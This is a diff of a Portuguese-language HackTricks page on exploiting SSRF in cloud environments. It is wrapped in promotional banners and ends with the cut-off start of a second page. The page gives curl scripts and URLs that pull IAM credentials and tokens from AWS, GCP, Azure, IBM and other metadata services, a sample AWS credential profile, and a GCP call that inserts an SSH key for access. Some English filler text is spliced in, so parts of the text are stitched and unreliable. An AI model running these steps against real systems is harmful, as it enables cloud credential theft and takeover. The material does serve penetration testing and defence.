{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

140
pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md
View file

@ -2,19 +2,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rápido. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -22,19 +24,19 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
## AWS
### Abusando do SSRF no ambiente AWS EC2
### Abusando de SSRF no ambiente AWS EC2
**A metadados** pode ser acessada de dentro de qualquer máquina EC2 e oferece informações interessantes sobre ela. É acessível na url: `http://169.254.169.254` ([informações sobre os metadados aqui](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**O endpoint de metadados** pode ser acessado de dentro de qualquer máquina EC2 e oferece informações interessantes sobre ela. É acessível na url: `http://169.254.169.254` ([informações sobre os metadados aqui](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Existem **2 versões** do metadados. A **primeira** permite **acessar** o metadados via solicitações **GET** (então qualquer **SSRF pode explorá-lo**). Para a **versão 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), você precisa solicitar um **token** enviando uma solicitação **PUT** com um **cabeçalho HTTP** e, em seguida, usar esse token para acessar os metadados com outro cabeçalho HTTP (então é **mais complicado de abusar** com um SSRF).
Existem **2 versões** do endpoint de metadados. A **primeira** permite **acessar** o endpoint via requisições **GET** (então qualquer **SSRF pode explorá-lo**). Para a **versão 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), você precisa solicitar um **token** enviando uma requisição **PUT** com um **cabeçalho HTTP** e depois usar esse token para acessar os metadados com outro cabeçalho HTTP (então é **mais complicado de abusar** com um SSRF).
{% hint style="danger" %}
Observe que se a instância EC2 estiver aplicando IMDSv2, [**de acordo com a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da solicitação PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados EC2 de um contêiner dentro da instância EC2.
Note que se a instância EC2 estiver impondo IMDSv2, [**de acordo com a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da requisição PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados EC2 de um contêiner dentro da instância EC2.
Além disso, **IMDSv2** também **bloqueará solicitações para buscar um token que inclua o cabeçalho `X-Forwarded-For`**. Isso é para evitar que proxies reversos mal configurados possam acessá-lo.
Além disso, **IMDSv2** também **bloqueará requisições para obter um token que incluam o cabeçalho `X-Forwarded-For`**. Isso é para prevenir que proxies reversos mal configurados possam acessá-lo.
{% endhint %}
Você pode encontrar informações sobre os [metadados na documentação](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). No script a seguir, algumas informações interessantes são obtidas a partir dele:
Você pode encontrar informações sobre os [endpoints de metadados na documentação](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). No seguinte script, algumas informações interessantes são obtidas a partir dele:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -94,40 +96,40 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
Como exemplo de credenciais IAM **publicamente disponíveis**, você pode visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Como exemplo de **credenciais IAM publicamente disponíveis** expostas, você pode visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Você também pode verificar as **credenciais de segurança EC2 públicas** em: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Você também pode verificar as **credenciais de segurança EC2** públicas em: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Em seguida, você pode **usar essas credenciais com o AWS CLI**. Isso permitirá que você faça **qualquer coisa que a função tenha permissão** para fazer.
Você pode então pegar **essas credenciais e usá-las com o AWS CLI**. Isso permitirá que você faça **qualquer coisa que a função tenha permissões** para fazer.
Para aproveitar as novas credenciais, você precisará criar um novo perfil AWS como este:
Para tirar vantagem das novas credenciais, você precisará criar um novo perfil AWS como este:
```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Observe o **aws\_session\_token**, isso é indispensável para o perfil funcionar.
Perceba o **aws\_session\_token**, ele é indispensável para o perfil funcionar.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar elevar privilégios.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalar privilégios
### SSRF em credenciais do AWS ECS (Serviço de Contêineres)
### SSRF no AWS ECS (Serviço de Contêiner) credenciais
**ECS**, é um grupo lógico de instâncias EC2 em que você pode executar um aplicativo sem precisar dimensionar sua própria infraestrutura de gerenciamento de cluster, pois o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **endpoints de metadados mudam**.
**ECS**, é um grupo lógico de instâncias EC2 nas quais você pode executar uma aplicação sem ter que escalar sua própria infraestrutura de gerenciamento de cluster, pois o ECS gerencia isso para você. Se você conseguir comprometer um serviço rodando no **ECS**, os **endpoints de metadados mudam**.
Se você acessar _**http://169.254.170.2/v2/credentials/\<GUID>**_, encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \<GUID>**. Para encontrar o \<GUID>, você precisa ler a variável **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro da máquina.\
Você pode ser capaz de lê-lo explorando uma **travessia de caminho** para `file:///proc/self/environ`\
O endereço http mencionado deve fornecer a **AccessKey, SecretKey e token**.
Se você acessar _**http://169.254.170.2/v2/credentials/\<GUID>**_ você encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \<GUID>**. Para encontrar o \<GUID> você precisa ler a variável **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro da máquina.\
Você poderia conseguir lê-la explorando um **Path Traversal** para `file:///proc/self/environ`\
O endereço http mencionado deve fornecer o **AccessKey, SecretKey e token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
Observe que, em **alguns casos**, você poderá acessar a **instância de metadados do EC2** a partir do contêiner (verifique as limitações de TTL do IMDSv2 mencionadas anteriormente). Nesses cenários, a partir do contêiner, você pode acessar tanto a função IAM do contêiner quanto a função IAM do EC2.
Note que em **alguns casos** você poderá acessar a **instância de metadados EC2** a partir do container (verifique as limitações de TTL do IMDSv2 mencionadas anteriormente). Nestes cenários, a partir do container, você poderia acessar tanto a função IAM do container quanto a função IAM do EC2.
{% endhint %}
### SSRF para AWS Lambda <a href="#6f97" id="6f97"></a>
Nesse caso, as **credenciais são armazenadas em variáveis de ambiente**. Portanto, para acessá-las, você precisa acessar algo como **`file:///proc/self/environ`**.
Neste caso, as **credenciais são armazenadas em variáveis de ambiente**. Então, para acessá-las, você precisa acessar algo como **`file:///proc/self/environ`**.
Os **nomes** das **variáveis de ambiente interessantes** são:
@ -135,15 +137,15 @@ Os **nomes** das **variáveis de ambiente interessantes** são:
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
Além disso, além das credenciais IAM, as funções Lambda também possuem **dados de evento que são passados para a função quando ela é iniciada**. Esses dados estão disponíveis para a função por meio da [interface de tempo de execução](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) e podem conter **informações sensíveis** (como dentro das **stageVariables**). Ao contrário das credenciais IAM, esses dados são acessíveis por SSRF padrão em **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
Além disso, além das credenciais IAM, as funções Lambda também têm **dados de evento que são passados para a função quando ela é iniciada**. Esses dados são disponibilizados para a função através da [interface de runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) e podem conter **informações sensíveis** (como dentro das **stageVariables**). Diferente das credenciais IAM, esses dados são acessíveis por SSRF padrão em **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
{% hint style="warning" %}
Observe que as **credenciais da lambda** estão dentro das **variáveis de ambiente**. Portanto, se o **rastreamento de pilha** do código da lambda imprimir as variáveis de ambiente, é possível **extradi-las provocando um erro** no aplicativo.
Note que as **credenciais lambda** estão dentro das **variáveis de ambiente**. Então, se o **rastreamento de pilha** do código lambda imprimir variáveis de ambiente, é possível **exfiltrá-las provocando um erro** no app.
{% endhint %}
### SSRF URL para AWS Elastic Beanstalk <a href="#6f97" id="6f97"></a>
### URL SSRF para AWS Elastic Beanstalk <a href="#6f97" id="6f97"></a>
Recuperamos o `accountId` e `region` da API.
Nós recuperamos o `accountId` e `region` da API.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
@ -158,17 +160,17 @@ Em seguida, usamos as credenciais com `aws s3 ls s3://elasticbeanstalk-us-east-2
## GCP <a href="#6440" id="6440"></a>
Você pode [**encontrar aqui a documentação sobre os pontos de extremidade de metadados**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
Você pode [**encontrar aqui a documentação sobre endpoints de metadados**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
### URL SSRF para o Google Cloud <a href="#6440" id="6440"></a>
### URL SSRF para Google Cloud <a href="#6440" id="6440"></a>
Requer o cabeçalho "Metadata-Flavor: Google" ou "X-Google-Metadata-Request: True" e você pode acessar o ponto de extremidade de metadados com as seguintes URLs:
Requer o cabeçalho "Metadata-Flavor: Google" ou "X-Google-Metadata-Request: True" e você pode acessar o endpoint de metadados com as seguintes URLs:
* http://169.254.169.254
* http://metadata.google.internal
* http://metadata
Pontos de extremidade interessantes para extrair informações:
Endpoints interessantes para extrair informações:
```bash
# /project
# Project name and number
@ -247,13 +249,13 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta não requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn)
Beta não requer um cabeçalho no momento (agradecimentos a Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
Para **usar o token da conta de serviço exfiltrada**, você pode simplesmente fazer o seguinte:
Para **usar o token de conta de serviço exfiltrado**, você pode simplesmente fazer:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
@ -283,7 +285,7 @@ $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuX
"access_type": "offline"
}
```
Agora envie a chave SSH.
Agora insira a chave SSH.
{% code overflow="wrap" %}
```bash
@ -292,16 +294,18 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
```markdown
{% endcode %}
## Digital Ocean <a href="#9f1f" id="9f1f"></a>
{% hint style="warning" %}
Não existem coisas como Funções AWS ou conta de serviço GCP, portanto, não espere encontrar credenciais de bot de metadados
Não existem coisas como AWS Roles ou contas de serviço GCP, então não espere encontrar credenciais de bot de metadados
{% endhint %}
Documentação disponível em [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
@ -314,7 +318,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -322,12 +326,12 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
## Azure <a href="#cea8" id="cea8"></a>
### Azure VM
### Máquina Virtual Azure
[**Documentação** aqui](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
* **Deve** conter o cabeçalho `Metadata: true`
* Não deve conter um cabeçalho `X-Forwarded-For`
* **Não deve** conter um cabeçalho `X-Forwarded-For`
{% tabs %}
{% tab title="Bash" %}
@ -376,9 +380,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
### Azure App Service
A partir do **env** você pode obter os valores de `IDENTITY_HEADER` _e_ `IDENTITY_ENDPOINT`. Isso pode ser usado para obter um token para se comunicar com o servidor de metadados.
Do **env** você pode obter os valores de `IDENTITY_HEADER` _e_ `IDENTITY_ENDPOINT`. Que você pode usar para coletar um token para se comunicar com o servidor de metadados.
Na maioria das vezes, você deseja um token para um desses recursos:
Na maioria das vezes, você deseja um token para um destes recursos:
* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
@ -455,7 +459,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM Cloud <a href="#2af0" id="2af0"></a>
{% hint style="warning" %}
Observe que, por padrão, a metadados não está habilitada na IBM, portanto, é possível que você não consiga acessá-la mesmo estando dentro de uma VM da IBM Cloud.
Observe que na IBM, por padrão, os metadados não são ativados, então é possível que você não consiga acessá-los mesmo estando dentro de uma VM da IBM Cloud
{% endhint %}
{% code overflow="wrap" %}
@ -482,8 +486,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
{% endcode %}
```markdown
## Packetcloud <a href="#2af0" id="2af0"></a>
Documentação disponível em [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)
@ -492,6 +495,7 @@ Documentação disponível em [`https://metadata.packet.net/userdata`](https://m
(cabeçalho necessário? desconhecido)
```
```
http://169.254.169.254/openstack
```
## HP Helion <a href="#a8e0" id="a8e0"></a>
@ -501,26 +505,6 @@ http://169.254.169.254/openstack
http://169.254.169.254/2009-04-04/meta-data/
```
## Oracle Cloud <a href="#a723" id="a723"></a>
A SSRF vulnerability occurs when an application allows an attacker to make requests to arbitrary URLs on behalf of the server. This can be exploited to perform various attacks, such as accessing internal resources, scanning internal networks, or attacking other systems.
In the context of cloud environments, SSRF vulnerabilities can be particularly dangerous because they can be used to access metadata endpoints or internal APIs of cloud/SaaS platforms. This can lead to unauthorized access to sensitive information or even compromise the entire cloud infrastructure.
Oracle Cloud is a popular cloud platform that provides a wide range of services, including compute instances, storage, and databases. It is important to be aware of the SSRF risks in Oracle Cloud and take appropriate measures to mitigate them.
To prevent SSRF attacks in Oracle Cloud, consider the following recommendations:
1. **Input validation and whitelisting**: Implement strict input validation and whitelist allowed URLs or IP addresses. This can help prevent attackers from making requests to unauthorized resources.
2. **Use metadata service protection**: Oracle Cloud provides a metadata service that allows instances to retrieve information about themselves. Ensure that the metadata service is protected and not accessible from untrusted sources.
3. **Restrict network access**: Configure network security groups and firewalls to restrict outbound connections from instances. This can help prevent instances from making requests to external resources without proper authorization.
4. **Secure internal APIs**: If your application uses internal APIs or services, ensure that they are properly secured and not accessible from external sources. Use authentication and authorization mechanisms to control access to these APIs.
5. **Regularly update and patch**: Keep your Oracle Cloud instances and services up to date with the latest security patches. This can help protect against known vulnerabilities and reduce the risk of SSRF attacks.
By following these recommendations, you can enhance the security of your Oracle Cloud environment and reduce the risk of SSRF vulnerabilities. Remember to regularly test your applications for SSRF vulnerabilities and perform penetration testing to identify any potential weaknesses.
```
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
@ -548,30 +532,28 @@ bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
```
## Rancher <a href="#8cb7" id="8cb7"></a>
Rancher is a popular open-source container management platform that allows users to easily deploy and manage containers in a Kubernetes cluster. It provides a user-friendly interface and a wide range of features for managing containerized applications.
Rancher supports various cloud providers, including AWS, GCP, and Azure, allowing users to deploy their applications on different cloud platforms. It also provides integration with other tools and services, such as monitoring and logging solutions, to enhance the management and monitoring capabilities of containerized applications.
With its intuitive interface and powerful features, Rancher simplifies the process of deploying and managing containers, making it a popular choice among developers and system administrators. Whether you are running a small-scale application or a large-scale production environment, Rancher can help you streamline your container management tasks and improve the efficiency of your operations.
```
curl http://rancher-metadata/<version>/<path>
```
```markdown
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```

240
pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md
View file

@ -2,13 +2,15 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
